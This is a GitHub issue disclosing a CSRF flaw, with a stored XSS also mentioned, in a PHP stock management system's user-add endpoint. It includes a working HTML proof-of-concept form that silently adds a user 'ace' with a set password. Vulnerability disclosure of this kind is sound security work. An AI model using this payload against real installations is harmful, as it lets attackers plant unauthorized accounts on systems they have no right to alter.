Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The Stock Management System has a CSRF vulnerability #4

Closed
huclilu opened this issue Nov 21, 2022 · 0 comments
Closed

The Stock Management System has a CSRF vulnerability #4

huclilu opened this issue Nov 21, 2022 · 0 comments

Comments

@huclilu
Copy link

huclilu commented Nov 21, 2022

The Stock Management System has a CSRF vulnerability

In use_ In add.php, add user information and send it to us via post request_ transac. Php, and then stored the new user information in the database without cookie or session verification or referer verification, resulting in a CSRF vulnerability. Similarly, there is a storage XSS vulnerability here

CSRF POC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://vulscms.test/pages/us_transac.php?action=add" method="POST">
      <input type="hidden" name="empid" value="1" />
      <input type="hidden" name="username" value="ace" />
      <input type="hidden" name="password" value="123456" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Poc is to insert data with user name ace into the database

@huclilu huclilu closed this as completed Nov 24, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant